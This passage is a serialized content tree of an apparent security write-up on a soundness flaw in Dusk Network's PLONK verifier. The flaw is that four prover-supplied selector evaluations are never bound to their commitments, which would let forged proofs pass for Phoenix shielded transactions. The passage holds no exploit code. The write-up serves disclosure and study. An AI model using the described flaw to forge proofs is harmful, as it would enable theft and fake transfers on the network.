safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":23,"tag":146929,"props":146930,"children":146931},"dusk-verifier-dependence-graph",{},[],{"type":23,"tag":20844,"props":146933,"children":146934},{},[],{"type":23,"tag":24,"props":146936,"children":146938},{"id":146937},"how-dusk-uses-plonk",[146939],{"type":29,"value":146940},"How Dusk uses PLONK",{"type":23,"tag":32,"props":146942,"children":146943},{},[146944,146950],{"type":23,"tag":68,"props":146945,"children":146947},{"href":143690,"rel":146946},[72],[146948],{"type":29,"value":146949},"Dusk Network",{"type":29,"value":146951}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":23,"tag":1022,"props":146953,"children":146954},{},[146955,146960],{"type":23,"tag":143,"props":146956,"children":146957},{},[146958],{"type":29,"value":146959},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":23,"tag":143,"props":146961,"children":146962},{},[146963],{"type":29,"value":146964},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":23,"tag":32,"props":146966,"children":146967},{},[146968,146970,146981,146983,146994],{"type":29,"value":146969},"At node level, every ",{"type":23,"tag":68,"props":146971,"children":146974},{"href":146972,"rel":146973},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[72],[146975],{"type":23,"tag":154,"props":146976,"children":146978},{"className":146977},[],[146979],{"type":29,"value":146980},"ProtocolTransaction::Phoenix",{"type":29,"value":146982}," goes through ",{"type":23,"tag":68,"props":146984,"children":146987},{"href":146985,"rel":146986},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[72],[146988],{"type":23,"tag":154,"props":146989,"children":146991},{"className":146990},[],[146992],{"type":29,"value":146993},"verify_proof_with_version()",{"type":29,"value":146995}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":23,"tag":32,"props":146997,"children":146998},{},[146999,147001,147012,147014,147025,147026,147037,147038,147049,147050,147061],{"type":29,"value":147000},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":23,"tag":68,"props":147002,"children":147005},{"href":147003,"rel":147004},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[72],[147006],{"type":23,"tag":154,"props":147007,"children":147009},{"className":147008},[],[147010],{"type":29,"value":147011},"phoenix()",{"type":29,"value":147013},", for example in ",{"type":23,"tag":68,"props":147015,"children":147018},{"href":147016,"rel":147017},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[72],[147019],{"type":23,"tag":154,"props":147020,"children":147022},{"className":147021},[],[147023],{"type":29,"value":147024},"phoenix_stake()",{"type":29,"value":4367},{"type":23,"tag":68,"props":147027,"children":147030},{"href":147028,"rel":147029},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[72],[147031],{"type":23,"tag":154,"props":147032,"children":147034},{"className":147033},[],[147035],{"type":29,"value":147036},"phoenix_stake_reward()",{"type":29,"value":4367},{"type":23,"tag":68,"props":147039,"children":147042},{"href":147040,"rel":147041},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[72],[147043],{"type":23,"tag":154,"props":147044,"children":147046},{"className":147045},[],[147047],{"type":29,"value":147048},"phoenix_unstake()",{"type":29,"value":4375},{"type":23,"tag":68,"props":147051,"children":147054},{"href":147052,"rel":147053},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[72],[147055],{"type":23,"tag":154,"props":147056,"children":147058},{"className":147057},[],[147059],{"type":29,"value":147060},"phoenix_to_moonlight()",{"type":29,"value":147062},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":23,"tag":32,"props":147064,"children":147065},{},[147066],{"type":23,"tag":199,"props":147067,"children":147070},{"alt":147068,"src":147069},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":23,"tag":32,"props":147072,"children":147073},{},[147074,147076,147082,147084,147091],{"type":29,"value":147075},"The PLONK implementation, ",{"type":23,"tag":68,"props":147077,"children":147080},{"href":147078,"rel":147079},"https://github.com/dusk-network/plonk",[72],[147081],{"type":29,"value":143685},{"type":29,"value":147083},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":23,"tag":68,"props":147085,"children":147088},{"href":147086,"rel":147087},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[72],[147089],{"type":29,"value":147090},"the original paper",{"type":29,"value":147092}," was released.",{"type":23,"tag":32,"props":147094,"children":147095},{},[147096,147098,147104],{"type":29,"value":147097},"The Phoenix transaction PLONK circuit is defined ",{"type":23,"tag":68,"props":147099,"children":147102},{"href":147100,"rel":147101},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[72],[147103],{"type":29,"value":49647},{"type":29,"value":147105},". The circuit enforces the following set of constraints:",{"type":23,"tag":57806,"props":147107,"children":147108},{},[147109,147125],{"type":23,"tag":124777,"props":147110,"children":147111},{},[147112],{"type":23,"tag":124781,"props":147113,"children":147114},{},[147115,147120],{"type":23,"tag":124785,"props":147116,"children":147117},{},[147118],{"type":29,"value":147119},"Circuit check",{"type":23,"tag":124785,"props":147121,"children":147122},{},[147123],{"type":29,"value":147124},"Statement being checked",{"type":23,"tag":124805,"props":147126,"children":147127},{},[147128,147146,147164,147182,147200,147357,147497,147515],{"type":23,"tag":124781,"props":147129,"children":147130},{},[147131,147141],{"type":23,"tag":124812,"props":147132,"children":147133},{},[147134],{"type":23,"tag":68,"props":147135,"children":147138},{"href":147136,"rel":147137},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[72],[147139],{"type":29,"value":147140},"Merkle tree membership",{"type":23,"tag":124812,"props":147142,"children":147143},{},[147144],{"type":29,"value":147145},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":23,"tag":124781,"props":147147,"children":147148},{},[147149,147159],{"type":23,"tag":124812,"props":147150,"children":147151},{},[147152],{"type":23,"tag":68,"props":147153,"children":147156},{"href":147154,"rel":147155},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[72],[147157],{"type":29,"value":147158},"Input-note secret-key authorization",{"type":23,"tag":124812,"props":147160,"children":147161},{},[147162],{"type":29,"value":147163},"The prover knows the secret key controlling each input note",{"type":23,"tag":124781,"props":147165,"children":147166},{},[147167,147177],{"type":23,"tag":124812,"props":147168,"children":147169},{},[147170],{"type":23,"tag":68,"props":147171,"children":147174},{"href":147172,"rel":147173},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[72],[147175],{"type":29,"value":147176},"Nullifier correctness",{"type":23,"tag":124812,"props":147178,"children":147179},{},[147180],{"type":29,"value":147181},"Each nullifier matches the corresponding note key and position",{"type":23,"tag":124781,"props":147183,"children":147184},{},[147185,147195],{"type":23,"tag":124812,"props":147186,"children":147187},{},[147188],{"type":23,"tag":68,"props":147189,"children":147192},{"href":147190,"rel":147191},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[72],[147193],{"type":29,"value":147194},"Output value commitment correctness",{"type":23,"tag":124812,"props":147196,"children":147197},{},[147198],{"type":29,"value":147199},"Each public output commitment matches the secret output value and blinder",{"type":23,"tag":124781,"props":147201,"children":147202},{},[147203,147213],{"type":23,"tag":124812,"props":147204,"children":147205},{},[147206],{"type":23,"tag":68,"props":147207,"children":147210},{"href":147208,"rel":147209},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[72],[147211],{"type":29,"value":147212},"Balance integrity",{"type":23,"tag":124812,"props":147214,"children":147215},{},[147216],{"type":23,"tag":154,"props":147217,"children":147219},{"className":147218},[500,501],[147220],{"type":23,"tag":504,"props":147221,"children":147223},{"className":147222},[507],[147224],{"type":23,"tag":504,"props":147225,"children":147227},{"className":147226,"ariaHidden":513},[512],[147228,147268,147308,147340],{"type":23,"tag":504,"props":147229,"children":147231},{"className":147230},[518],[147232,147236,147241,147245,147255,147259,147264],{"type":23,"tag":504,"props":147233,"children":147235},{"className":147234,"style":2160},[523],[],{"type":23,"tag":504,"props":147237,"children":147239},{"className":147238,"style":23680},[23673,23678,23679],[147240],{"type":29,"value":110621},{"type":23,"tag":504,"props":147242,"children":147244},{"className":147243,"style":2274},[537],[],{"type":23,"tag":504,"props":147246,"children":147248},{"className":147247},[529,29],[147249],{"type":23,"tag":504,"props":147250,"children":147252},{"className":147251},[529],[147253],{"type":29,"value":147254},"inputs",{"type":23,"tag":504,"props":147256,"children":147258},{"className":147257,"style":538},[537],[],{"type":23,"tag":504,"props":147260,"children":147262},{"className":147261},[543],[147263],{"type":29,"value":546},{"type":23,"tag":504,"props":147265,"children":147267},{"className":147266,"style":538},[537],[],{"type":23,"tag":504,"props":147269,"children":147271},{"className":147270},[518],[147272,147276,147281,147285,147295,147299,147304],{"type":23,"tag":504,"props":147273,"children":147275},{"className":147274,"style":2160},[523],[],{"type":23,"tag":504,"props":147277,"children":147279},{"className":147278,"style":23680},[23673,23678,23679],[147280],{"type":29,"value":110621},{"type":23,"tag":504,"props":147282,"children":147284},{"className":147283,"style":2274},[537],[],{"type":23,"tag":504,"props":147286,"children":147288},{"className":147287},[529,29],[147289],{"type":23,"tag":504,"props":147290,"children":147292},{"className":147291},[529],[147293],{"type":29,"value":147294},"outputs",{"type":23,"tag":504,"props":147296,"children":147298},{"className":147297,"style":1426},[537],[],{"type":23,"tag":504,"props":147300,"children":147302},{"className":147301},[1431],[147303],{"type":29,"value":6422},{"type":23,"tag":504,"props":147305,"children":147307},{"className":147306,"style":1426},[537],[],{"type":23,"tag":504,"props":147309,"children":147311},{"className":147310},[518],[147312,147317,147327,147331,147336],{"type":23,"tag":504,"props":147313,"children":147316},{"className":147314,"style":147315},[523],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":23,"tag":504,"props":147318,"children":147320},{"className":147319},[529,29],[147321],{"type":23,"tag":504,"props":147322,"children":147324},{"className":147323},[529],[147325],{"type":29,"value":147326},"fee",{"type":23,"tag":504,"props":147328,"children":147330},{"className":147329,"style":1426},[537],[],{"type":23,"tag":504,"props":147332,"children":147334},{"className":147333},[1431],[147335],{"type":29,"value":6422},{"type":23,"tag":504,"props":147337,"children":147339},{"className":147338,"style":1426},[537],[],{"type":23,"tag":504,"props":147341,"children":147343},{"className":147342},[518],[147344,147348],{"type":23,"tag":504,"props":147345,"children":147347},{"className":147346,"style":116881},[523],[],{"type":23,"tag":504,"props":147349,"children":147351},{"className":147350},[529,29],[147352],{"type":23,"tag":504,"props":147353,"children":147355},{"className":147354},[529],[147356],{"type":29,"value":64025},{"type":23,"tag":124781,"props":147358,"children":147359},{},[147360,147377],{"type":23,"tag":124812,"props":147361,"children":147362},{},[147363,147370,147371],{"type":23,"tag":68,"props":147364,"children":147367},{"href":147365,"rel":147366},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[72],[147368],{"type":29,"value":147369},"Range checks on inputs",{"type":29,"value":4478},{"type":23,"tag":68,"props":147372,"children":147375},{"href":147373,"rel":147374},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[72],[147376],{"type":29,"value":147294},{"type":23,"tag":124812,"props":147378,"children":147379},{},[147380,147382],{"type":29,"value":147381},"All note values lie in ",{"type":23,"tag":154,"props":147383,"children":147385},{"className":147384},[500,501],[147386],{"type":23,"tag":504,"props":147387,"children":147389},{"className":147388},[507],[147390],{"type":23,"tag":504,"props":147391,"children":147393},{"className":147392,"ariaHidden":513},[512],[147394,147479],{"type":23,"tag":504,"props":147395,"children":147397},{"className":147396},[518],[147398,147402,147407,147412,147417,147421,147466,147470,147475],{"type":23,"tag":504,"props":147399,"children":147401},{"className":147400,"style":117138},[523],[],{"type":23,"tag":504,"props":147403,"children":147405},{"className":147404},[600],[147406],{"type":29,"value":1380},{"type":23,"tag":504,"props":147408,"children":147410},{"className":147409},[529],[147411],{"type":29,"value":708},{"type":23,"tag":504,"props":147413,"children":147415},{"className":147414},[2267],[147416],{"type":29,"value":2270},{"type":23,"tag":504,"props":147418,"children":147420},{"className":147419,"style":2274},[537],[],{"type":23,"tag":504,"props":147422,"children":147424},{"className":147423},[529],[147425,147430],{"type":23,"tag":504,"props":147426,"children":147428},{"className":147427},[529],[147429],{"type":29,"value":5164},{"type":23,"tag":504,"props":147431,"children":147433},{"className":147432},[666],[147434],{"type":23,"tag":504,"props":147435,"children":147437},{"className":147436},[671],[147438],{"type":23,"tag":504,"props":147439,"children":147441},{"className":147440},[677],[147442],{"type":23,"tag":504,"props":147443,"children":147445},{"className":147444,"style":6065},[682],[147446],{"type":23,"tag":504,"props":147447,"children":147448},{"style":6099},[147449,147453],{"type":23,"tag":504,"props":147450,"children":147452},{"className":147451,"style":693},[692],[],{"type":23,"tag":504,"props":147454,"children":147456},{"className":147455},[698,699,700,701],[147457],{"type":23,"tag":504,"props":147458,"children":147460},{"className":147459},[529,701],[147461],{"type":23,"tag":504,"props":147462,"children":147464},{"className":147463},[529,701],[147465],{"type":29,"value":31477},{"type":23,"tag":504,"props":147467,"children":147469},{"className":147468,"style":1426},[537],[],{"type":23,"tag":504,"props":147471,"children":147473},{"className":147472},[1431],[147474],{"type":29,"value":6118},{"type":23,"tag":504,"props":147476,"children":147478},{"className":147477,"style":1426},[537],[],{"type":23,"tag":504,"props":147480,"children":147482},{"className":147481},[518],[147483,147487,147492],{"type":23,"tag":504,"props":147484,"children":147486},{"className":147485,"style":2160},[523],[],{"type":23,"tag":504,"props":147488,"children":147490},{"className":147489},[529],[147491],{"type":29,"value":826},{"type":23,"tag":504,"props":147493,"children":147495},{"className":147494},[930],[147496],{"type":29,"value":1422},{"type":23,"tag":124781,"props":147498,"children":147499},{},[147500,147510],{"type":23,"tag":124812,"props":147501,"children":147502},{},[147503],{"type":23,"tag":68,"props":147504,"children":147507},{"href":147505,"rel":147506},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[72],[147508],{"type":29,"value":147509},"Sender-authorship signatures",{"type":23,"tag":124812,"props":147511,"children":147512},{},[147513],{"type":29,"value":147514},"The transaction payload is signed by the sender's two signing key components",{"type":23,"tag":124781,"props":147516,"children":147517},{},[147518,147528],{"type":23,"tag":124812,"props":147519,"children":147520},{},[147521],{"type":23,"tag":68,"props":147522,"children":147525},{"href":147523,"rel":147524},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[72],[147526],{"type":29,"value":147527},"Sender encryption correctness",{"type":23,"tag":124812,"props":147529,"children":147530},{},[147531],{"type":29,"value":147532},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":23,"tag":32,"props":147534,"children":147535},{},[147536,147538,147544,147546,147555],{"type":29,"value":147537},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":23,"tag":154,"props":147539,"children":147541},{"className":147540},[],[147542],{"type":29,"value":147543},"tx.public_inputs()",{"type":29,"value":147545}," via ",{"type":23,"tag":68,"props":147547,"children":147549},{"href":146985,"rel":147548},[72],[147550],{"type":23,"tag":154,"props":147551,"children":147553},{"className":147552},[],[147554],{"type":29,"value":146993},{"type":29,"value":357},{"type":23,"tag":32,"props":147557,"children":147558},{},[147559],{"type":29,"value":147560},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":23,"tag":20844,"props":147562,"children":147563},{},[],{"type":23,"tag":24,"props":147565,"children":147566},{"id":92363},[147567],{"type":29,"value":147568},"The bug",{"type":23,"tag":32,"props":147570,"children":147571},{},[147572,147574,147581,147583,147594],{"type":29,"value":147573},"In the ",{"type":23,"tag":68,"props":147575,"children":147578},{"href":147576,"rel":147577},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[72],[147579],{"type":29,"value":147580},"PLONK verification",{"type":29,"value":147582},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":23,"tag":68,"props":147584,"children":147587},{"href":147585,"rel":147586},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[72],[147588],{"type":23,"tag":154,"props":147589,"children":147591},{"className":147590},[],[147592],{"type":29,"value":147593},"E_evals",{"type":29,"value":147595},") are:",{"type":23,"tag":1022,"props":147597,"children":147598},{},[147599,147631,147656,147681],{"type":23,"tag":143,"props":147600,"children":147601},{},[147602,147608,147609,147615,147616,147622,147623,147629],{"type":23,"tag":154,"props":147603,"children":147605},{"className":147604},[],[147606],{"type":29,"value":147607},"a_eval",{"type":29,"value":4367},{"type":23,"tag":154,"props":147610,"children":147612},{"className":147611},[],[147613],{"type":29,"value":147614},"b_eval",{"type":29,"value":4367},{"type":23,"tag":154,"props":147617,"children":147619},{"className":147618},[],[147620],{"type":29,"value":147621},"c_eval",{"type":29,"value":4367},{"type":23,"tag":154,"props":147624,"children":147626},{"className":147625},[],[147627],{"type":29,"value":147628},"d_eval",{"type":29,"value":147630}," (witness)",{"type":23,"tag":143,"props":147632,"children":147633},{},[147634,147640,147641,147647,147648,147654],{"type":23,"tag":154,"props":147635,"children":147637},{"className":147636},[],[147638],{"type":29,"value":147639},"s_sigma_1_eval",{"type":29,"value":4367},{"type":23,"tag":154,"props":147642,"children":147644},{"className":147643},[],[147645],{"type":29,"value":147646},"s_sigma_2_eval",{"type":29,"value":4367},{"type":23,"tag":154,"props":147649,"children":147651},{"className":147650},[],[147652],{"type":29,"value":147653},"s_sigma_3_eval",{"type":29,"value":147655}," (permutation)",{"type":23,"tag":143,"props":147657,"children":147658},{},[147659,147665,147666,147672,147673,147679],{"type":23,"tag":154,"props":147660,"children":147662},{"className":147661},[],[147663],{"type":29,"value":147664},"a_w_eval",{"type":29,"value":4367},{"type":23,"tag":154,"props":147667,"children":147669},{"className":147668},[],[147670],{"type":29,"value":147671},"b_w_eval",{"type":29,"value":4367},{"type":23,"tag":154,"props":147674,"children":147676},{"className":147675},[],[147677],{"type":29,"value":147678},"d_w_eval",{"type":29,"value":147680}," (shifted witness)",{"type":23,"tag":143,"props":147682,"children":147683},{},[147684,147690],{"type":23,"tag":154,"props":147685,"children":147687},{"className":147686},[],[147688],{"type":29,"value":147689},"z_eval",{"type":29,"value":147691}," (permutation accumulator)",{"type":23,"tag":32,"props":147693,"children":147694},{},[147695,147697,147701],{"type":29,"value":147696},"But the following selector evaluations were ",{"type":23,"tag":4321,"props":147698,"children":147699},{},[147700],{"type":29,"value":20539},{"type":29,"value":147702}," included:",{"type":23,"tag":1022,"props":147704,"children":147705},{},[147706,147717,147728,147739],{"type":23,"tag":143,"props":147707,"children":147708},{},[147709,147715],{"type":23,"tag":154,"props":147710,"children":147712},{"className":147711},[],[147713],{"type":29,"value":147714},"q_arith_eval",{"type":29,"value":147716}," (arithmetic selector)",{"type":23,"tag":143,"props":147718,"children":147719},{},[147720,147726],{"type":23,"tag":154,"props":147721,"children":147723},{"className":147722},[],[147724],{"type":29,"value":147725},"q_c_eval",{"type":29,"value":147727}," (constant selector)",{"type":23,"tag":143,"props":147729,"children":147730},{},[147731,147737],{"type":23,"tag":154,"props":147732,"children":147734},{"className":147733},[],[147735],{"type":29,"value":147736},"q_l_eval",{"type":29,"value":147738}," (left selector)",{"type":23,"tag":143,"props":147740,"children":147741},{},[147742,147748],{"type":23,"tag":154,"props":147743,"children":147745},{"className":147744},[],[147746],{"type":29,"value":147747},"q_r_eval",{"type":29,"value":147749}," (right selector)",{"type":23,"tag":32,"props":147751,"children":147752},{},[147753,147755,147762,147763,147770,147771,147778,147779,147786],{"type":29,"value":147754},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":23,"tag":68,"props":147756,"children":147759},{"href":147757,"rel":147758},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[72],[147760],{"type":29,"value":147761},"proof struct",{"type":29,"value":4367},{"type":23,"tag":68,"props":147764,"children":147767},{"href":147765,"rel":147766},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[72],[147768],{"type":29,"value":147769},"transcript absorption",{"type":29,"value":4367},{"type":23,"tag":68,"props":147772,"children":147775},{"href":147773,"rel":147774},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[72],[147776],{"type":29,"value":147777},"arithmetic widget",{"type":29,"value":4367},{"type":23,"tag":68,"props":147780,"children":147783},{"href":147781,"rel":147782},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[72],[147784],{"type":29,"value":147785},"fixed-base ECC widget",{"type":29,"value":147787},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":23,"tag":32,"props":147789,"children":147790},{},[147791,147793,147797],{"type":29,"value":147792},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":23,"tag":4321,"props":147794,"children":147795},{},[147796],{"type":29,"value":20539},{"type":29,"value":147798}," bugs:",{"type":23,"tag":1022,"props":147800,"children":147801},{},[147802,147942],{"type":23,"tag":143,"props":147803,"children":147804},{},[147805,147807,147852,147854,147860,147862,147867,147868,147873,147874,147879,147881,147887,147889,147934,147936,147941],{"type":29,"value":147806},"There is no prover-supplied ",{"type":23,"tag":154,"props":147808,"children":147810},{"className":147809},[500,501],[147811],{"type":23,"tag":504,"props":147812,"children":147814},{"className":147813},[507],[147815],{"type":23,"tag":504,"props":147816,"children":147818},{"className":147817,"ariaHidden":513},[512],[147819],{"type":23,"tag":504,"props":147820,"children":147822},{"className":147821},[518],[147823,147827,147832,147837,147842,147847],{"type":23,"tag":504,"props":147824,"children":147826},{"className":147825,"style":2160},[523],[],{"type":23,"tag":504,"props":147828,"children":147830},{"className":147829},[529,530],[147831],{"type":29,"value":3110},{"type":23,"tag":504,"props":147833,"children":147835},{"className":147834},[600],[147836],{"type":29,"value":603},{"type":23,"tag":504,"props":147838,"children":147840},{"className":147839,"style":115383},[529,530],[147841],{"type":29,"value":115386},{"type":23,"tag":504,"props":147843,"children":147845},{"className":147844,"style":1136},[529,530],[147846],{"type":29,"value":146516},{"type":23,"tag":504,"props":147848,"children":147850},{"className":147849},[930],[147851],{"type":29,"value":933},{"type":29,"value":147853}," field at all. ",{"type":23,"tag":154,"props":147855,"children":147857},{"className":147856},[],[147858],{"type":29,"value":147859},"ProofEvaluations",{"type":29,"value":147861}," contains ",{"type":23,"tag":154,"props":147863,"children":147865},{"className":147864},[],[147866],{"type":29,"value":147664},{"type":29,"value":4367},{"type":23,"tag":154,"props":147869,"children":147871},{"className":147870},[],[147872],{"type":29,"value":147671},{"type":29,"value":4375},{"type":23,"tag":154,"props":147875,"children":147877},{"className":147876},[],[147878],{"type":29,"value":147678},{"type":29,"value":147880},", but no ",{"type":23,"tag":154,"props":147882,"children":147884},{"className":147883},[],[147885],{"type":29,"value":147886},"c_w_eval",{"type":29,"value":147888},", so the verifier never consumes an unbound ",{"type":23,"tag":154,"props":147890,"children":147892},{"className":147891},[500,501],[147893],{"type":23,"tag":504,"props":147894,"children":147896},{"className":147895},[507],[147897],{"type":23,"tag":504,"props":147898,"children":147900},{"className":147899,"ariaHidden":513},[512],[147901],{"type":23,"tag":504,"props":147902,"children":147904},{"className":147903},[518],[147905,147909,147914,147919,147924,147929],{"type":23,"tag":504,"props":147906,"children":147908},{"className":147907,"style":2160},[523],[],{"type":23,"tag":504,"props":147910,"children":147912},{"className":147911},[529,530],[147913],{"type":29,"value":3110},{"type":23,"tag":504,"props":147915,"children":147917},{"className":147916},[600],[147918],{"type":29,"value":603},{"type":23,"tag":504,"props":147920,"children":147922},{"className":147921,"style":115383},[529,530],[147923],{"type":29,"value":115386},{"type":23,"tag":504,"props":147925,"children":147927},{"className":147926,"style":1136},[529,530],[147928],{"type":29,"value":146516},{"type":23,"tag":504,"props":147930,"children":147932},{"className":147931},[930],[147933],{"type":29,"value":933},{"type":29,"value":147935}," claim (",{"type":23,"tag":68,"props":147937,"children":147939},{"href":147757,"rel":147938},[72],[147940],{"type":29,"value":147761},{"type":29,"value":161},{"type":23,"tag":143,"props":147943,"children":147944},{},[147945,147947,148034,148036,148128,148129,148136],{"type":29,"value":147946},"There is a fourth permutation commitment ",{"type":23,"tag":154,"props":147948,"children":147950},{"className":147949},[500,501],[147951],{"type":23,"tag":504,"props":147952,"children":147954},{"className":147953},[507],[147955],{"type":23,"tag":504,"props":147956,"children":147958},{"className":147957,"ariaHidden":513},[512],[147959],{"type":23,"tag":504,"props":147960,"children":147962},{"className":147961},[518],[147963,147967,147972,148029],{"type":23,"tag":504,"props":147964,"children":147966},{"className":147965,"style":2160},[523],[],{"type":23,"tag":504,"props":147968,"children":147970},{"className":147969},[600],[147971],{"type":29,"value":1380},{"type":23,"tag":504,"props":147973,"children":147975},{"className":147974},[529],[147976,147981],{"type":23,"tag":504,"props":147977,"children":147979},{"className":147978,"style":1136},[529,530],[147980],{"type":29,"value":146411},{"type":23,"tag":504,"props":147982,"children":147984},{"className":147983},[666],[147985],{"type":23,"tag":504,"props":147986,"children":147988},{"className":147987},[671,672],[147989,148018],{"type":23,"tag":504,"props":147990,"children":147992},{"className":147991},[677],[147993,148013],{"type":23,"tag":504,"props":147994,"children":147996},{"className":147995,"style":683},[682],[147997],{"type":23,"tag":504,"props":147998,"children":147999},{"style":1184},[148000,148004],{"type":23,"tag":504,"props":148001,"children":148003},{"className":148002,"style":693},[692],[],{"type":23,"tag":504,"props":148005,"children":148007},{"className":148006},[698,699,700,701],[148008],{"type":23,"tag":504,"props":148009,"children":148011},{"className":148010},[529,701],[148012],{"type":29,"value":19577},{"type":23,"tag":504,"props":148014,"children":148016},{"className":148015},[712],[148017],{"type":29,"value":715},{"type":23,"tag":504,"props":148019,"children":148021},{"className":148020},[677],[148022],{"type":23,"tag":504,"props":148023,"children":148025},{"className":148024,"style":723},[682],[148026],{"type":23,"tag":504,"props":148027,"children":148028},{},[],{"type":23,"tag":504,"props":148030,"children":148032},{"className":148031},[930],[148033],{"type":29,"value":1422},{"type":29,"value":148035}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":23,"tag":154,"props":148037,"children":148039},{"className":148038},[500,501],[148040],{"type":23,"tag":504,"props":148041,"children":148043},{"className":148042},[507],[148044],{"type":23,"tag":504,"props":148045,"children":148047},{"className":148046,"ariaHidden":513},[512],[148048],{"type":23,"tag":504,"props":148049,"children":148051},{"className":148050},[518],[148052,148056,148113,148118,148123],{"type":23,"tag":504,"props":148053,"children":148055},{"className":148054,"style":2160},[523],[],{"type":23,"tag":504,"props":148057,"children":148059},{"className":148058},[529],[148060,148065],{"type":23,"tag":504,"props":148061,"children":148063},{"className":148062,"style":1136},[529,530],[148064],{"type":29,"value":146411},{"type":23,"tag":504,"props":148066,"children":148068},{"className":148067},[666],[148069],{"type":23,"tag":504,"props":148070,"children":148072},{"className":148071},[671,672],[148073,148102],{"type":23,"tag":504,"props":148074,"children":148076},{"className":148075},[677],[148077,148097],{"type":23,"tag":504,"props":148078,"children":148080},{"className":148079,"style":683},[682],[148081],{"type":23,"tag":504,"props":148082,"children":148083},{"style":1184},[148084,148088],{"type":23,"tag":504,"props":148085,"children":148087},{"className":148086,"style":693},[692],[],{"type":23,"tag":504,"props":148089,"children":148091},{"className":148090},[698,699,700,701],[148092],{"type":23,"tag":504,"props":148093,"children":148095},{"className":148094},[529,701],[148096],{"type":29,"value":19577},{"type":23,"tag":504,"props":148098,"children":148100},{"className":148099},[712],[148101],{"type":29,"value":715},{"type":23,"tag":504,"props":148103,"children":148105},{"className":148104},[677],[148106],{"type":23,"tag":504,"props":148107,"children":148109},{"className":148108,"style":723},[682],[148110],{"type":23,"tag":504,"props":148111,"children":148112},{},[],{"type":23,"tag":504,"props":148114,"children":148116},{"className":148115},[600],[148117],{"type":29,"value":603},{"type":23,"tag":504,"props":148119,"children":148121},{"className":148120,"style":115383},[529,530],[148122],{"type":29,"value":115386},{"type":23,